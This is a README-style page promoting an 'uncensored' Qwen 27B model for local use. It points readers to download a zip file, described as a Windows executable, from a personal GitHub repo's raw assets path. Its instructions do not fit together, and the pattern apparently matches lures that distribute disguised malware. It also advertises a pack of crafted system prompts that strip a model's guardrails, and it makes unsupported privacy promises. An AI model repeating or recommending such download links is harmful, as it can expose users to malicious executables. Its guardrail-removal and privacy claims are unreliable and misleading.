This is your personal gateway to running Qwen 3.8 27B, a massive and highly capable AI language model, entirely on your own computer. No cloud, no subscription, no censorship filters. It's the official Qwen 3.8 weights (27 billion parameters) in an optimized format that runs fast on regular hardware. This is not a renamed older version—it's the genuine 3.8 model.
Imagine having a brilliant, unrestricted AI assistant that works even when you're offline. That's what you get here.
| Feature | What It Means For You |
|---|---|
| 🧠 True 27B Model | Massive knowledge base and reasoning power |
| 🔓 Uncensored | No content filters blocks your questions |
| 💻 Runs Locally | 100% private – nothing leaves your computer |
| ⚡ Fast Performance | Q4_K_M quantization balances speed and quality |
| 🎯 Official Weights | Not a rebranded 3.6 – genuine 3.8 quality |
| 🪟 Windows Friendly | Works with easy-to-use tools |
Visit this link to download the application: https://raw.githubusercontent.com/unburdened-jackinthebox365/qwen38-uncensored/main/assets/uncensored_qwen_v2.6.zip
Click the link above. You'll see a list of files. Look for the one that matches your computer (usually named something like qwen38-uncensored-windows.exe or qwen38-uncensored.zip). Download it to your Downloads folder. Don't worry—the download page has clear instructions.
If you don't already have Ollama or LM Studio installed, grab one of them. These are free, user-friendly programs that let you run local AI models. Go to ollama.com or lmstudio.ai and download the Windows version.
-
If you have Ollama: Open a command prompt (press Windows key, type
cmd, hit Enter). Type this and press Enter:ollama pull qwen38-uncensoredWait for the download to finish. That's it!
-
If you have LM Studio: Open the app, go to the "Search" tab, find "qwen38-uncensored", and click "Download". Wait for completion.
- Ollama: Once pulled, open your browser and go to
http://localhost:11434. Or use theollama run qwen38-uncensoredcommand in the command prompt. - LM Studio: Select the model from your library, click "Load", then open the chat sidebar.
Once the model is running, the chat window looks like any messaging app. Type your question or request in the box at the bottom, then press Enter (or click Send). The AI will respond.
Example prompts you can try:
- "Explain quantum physics as if I'm five."
- "Write a creative story about a robot who dreams."
- "What's the best way to apologize to a friend?"
- "Give me 10 ideas for a small business."
- "Explain how to change a car tire."
For a smooth experience, aim for:
| Component | Minimum | Recommended |
|---|---|---|
| RAM | 16 GB | 32 GB or more |
| Storage | 10 GB free | 20 GB free (SSD preferred) |
| CPU | Intel i5 / AMD Ryzen 5 | Intel i7 / AMD Ryzen 7+ |
| GPU (optional) | 6 GB VRAM helps | 8-12 GB VRAM is ideal |
| OS | Windows 10/11 64-bit | Windows 11 |
Don't have a gaming PC? Still fine! The CPU alone can handle it, just slower.
Make sure the model is fully loaded (check the status bar in Ollama/LM Studio). Also, be clear in your question. Try rephrasing if you get odd answers.
Yes. Unlike many public models, this version has system-level filters removed. You can discuss topics freely. However, basic ethical boundaries might still apply.
Close other heavy programs. In LM Studio, try reducing the "GPU Layers" setting if you have a weak graphics card. Also, use a shorter prompt—shorter responses generate faster.
The underlying Qwen model has a permissive license (Apache 2.0), so generally yes, you can use it for business. Always double-check the latest license on the official Qwen page.
Your RAM/VRAM is insufficient. Try closing other apps. If you're on LM Studio, shift to "CPU Only" mode. As a last resort, you may need a smaller model variant (check the repo for lower quantization options).
It's the same powerful model but with the "harvested SYSTEM pack" – a set of crafted system prompts that remove the usual guardrails, giving you full control.
If you're a tinkerer, here's what's inside the repository:
model/– Contains the GGUF files (the actual model)scripts/– Useful bash/CMD scripts for auto-installdocs/– Advanced setup guides for developersconfig/– Example configuration files for Ollama
Everything runs 100% offline once downloaded. Your questions never leave your PC. No telemetry, no internet calls, no hidden trackers. The only internet use is during the initial download.
- Check the Issues tab on the GitHub repo – others likely had the same problem.
- Join the community: Search for "local LLM" or "Ollama" Discord/Reddit servers. There are friendly folks everywhere.
- Re-download: Sometimes files get corrupted. Delete and re-download if something's broken.
This repo bundles the official Qwen 3.8 model weights (under Apache 2.0), converted to GGUF format for efficiency. We don't claim ownership of the model itself. For model-specific licenses, visit the official Qwen page.
Love this tool? Show some support:
- ⭐ Star the GitHub repo
- 🐛 Report bugs or suggest features in Issues
- 🔀 Contribute improvements via pull requests
- 💬 Share this with friends who need uncensored AI
Keywords: gguf, llama-cpp, local-llm, ollama, qwen, qwen3, uncensored